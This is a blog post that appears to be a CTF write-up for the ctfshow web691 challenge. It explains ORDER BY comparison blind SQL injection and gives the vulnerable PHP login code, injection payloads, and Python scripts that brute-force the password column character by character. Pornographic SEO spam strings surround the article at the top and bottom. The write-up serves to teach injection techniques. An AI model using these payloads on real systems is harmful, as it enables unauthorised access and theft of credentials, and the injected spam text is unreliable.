<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      SQL order by 大小比較盲注

      SQL order by 大小比較盲注

      在做ctfshow web入門 的 web691時遇到了SQL order by 大小比較盲注問題。因為是第一次遇到,記錄一下

      image-20250720161316659

      在做題之前,我們先來探討一下order by 比較大小盲注

      在本地先自己搭建一個數據庫

      image-20250720161457719

      我們輸入查詢語句

      SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,1 order by 3;
      

      image-20250720161541316

      更換一下查詢語句

      SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,2 order by 3;
      

      image-20250720161642292

      這里很明顯就能看出,當用聯合查詢出來的passwd值1時,最終回顯的是name=1而當我們輸入passwd值為2時,最終回顯的是name=admin即為第一條數據,并且在實際中我們不知道passwd的值,會回顯一個密碼錯誤,這樣我們就可以根據回顯一位一位來爆破password的值

      s = '0123456789:abcdefghijklmnopqrstuvwxyz{'
      password=''
      for i in range(50):
          for j in s:
              payload=password+j
              data={
                  'username':"'or 1 union select 1,1,'"+payload+"' order by 3#",
                  'passwd':''
                  }
              r=requests.post(url,data=data)
              if "wrong pass!" in r.text:
                  password+=chr(ord(j)-1)
                  print(password)
                  break
      

      回歸到原題

      <?php
       
      include('inc.php');
      highlight_file(__FILE__);
      error_reporting(0);
      function   filter($str){
            $filterlist = "/\(|\)|username|password|where|
            case|when|like|regexp|into|limit|=|for|;/";
            if(preg_match($filterlist,strtolower($str))){
              die("illegal input!");
            }
            return $str;
        }
      $username = isset($_POST['username'])?
      filter($_POST['username']):die("please input username!");
      $password = isset($_POST['password'])?
      filter($_POST['password']):die("please input password!");
      $sql = "select * from admin where  username =
       '$username' and password = '$password' ";
      
      $res = $conn -> query($sql);
      if($res->num_rows>0){
        $row = $res -> fetch_assoc();
        if($row['id']){
           echo $row['username'];
        }
      }else{
         echo "The content in the password column is the flag!";
      }
      ?>
      

      首先我們先通過order by 來猜測有3個字段

      #username=1' or 1 union select 1,1 order by 2#&password=1
      #回顯"The content in the password column is the flag!"
      
      username=1' or 1 union select 1,1,1 order by 3#&password=1
      

      3個字段大概率為id,username,password

      username=1' or 1 union select 1,1,'c' order by 3#&password=1
      

      image-20250720162728712

      返回1,表明我們輸入的c的ascill碼還是小

      username=1' or 1 union select 1,1,'d' order by 3#&password=1
      

      image-20250720162807378

      成功回顯admin

      但這里要注意的是我們最后獲得真實值是要在回顯admin時的ascii減1

      image-20250720162940826

      如圖,真實passwd的第一位是小1的

      直接上腳本

      import requests
      s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
      print(s)
      url="http://29a1ba96-4095-4b96-adbb-56e359b5e690.challenge.ctf.show/"
      data={
      	'username':"or 1 union select 1,1,'{}' order by 3#",
      	'password':'1'
      }
      k=""
      for i in range(1,50):
      	print(i)
      	for j in s:
      		data={
      		'username':"' or 1 union select 1,1,'{0}' order by 3#".format(k+j),
      		'password':'1'
      	}
      		r=requests.post(url,data=data)
      		#print(data['username'])
      		if("</code>admin" in r.text):
      			k=k+chr(ord(j)-1)
      			print(k)
      			break
      
      posted @ 2025-07-20 17:04  dynasty_chenzi  閱讀(91)  評論(0)    收藏  舉報
      返回頂端
      主站蜘蛛池模板: 东方四虎av在线观看| 中文字幕久久久久人妻| 久久成人 久久鬼色| 免费无码午夜理论电影| 亚洲精品国产一区二区三| 中文字幕日本六区小电影| 午夜成年男人免费网站| 日韩在线观看精品亚洲| 撕开奶罩揉吮奶头高潮av| 国产精品爆乳奶水无码视频免费| 亚洲精品人妻中文字幕| 丰满少妇高潮惨叫久久久| 好吊视频在线一区二区三区| 99中文字幕国产精品| 亚洲欧美v国产蜜芽tv| 亚洲人成电影在线播放| 国产精品任我爽爆在线播放6080| 999国产精品999久久久久久| 最新亚洲精品国偷自产在线| 国产一区二区高清不卡| 精品人妻伦一二三区久久| 国产亚洲av人片在线播放| 色欲狠狠躁天天躁无码中文字幕| 国产一区二区三区尤物视频| 国产精品国产三级国快看| 亚洲sm另类一区二区三区| 又大又紧又粉嫩18p少妇| 视频一区视频二区中文字幕| 日韩女同在线二区三区| 十八禁午夜福利免费网站| 高潮精品熟妇一区二区三区| 久久婷婷丁香五月综合五| 久久天天躁狠狠躁夜夜婷| 日韩精品理论片一区二区| 2019香蕉在线观看直播视频| 国产成人综合在线观看不卡 | 成人无码一区二区三区网站| 亚洲综合伊人久久大杳蕉| 中文字幕人妻中文AV不卡专区| 人妻教师痴汉电车波多野结衣| 亚洲中文字幕无码中字|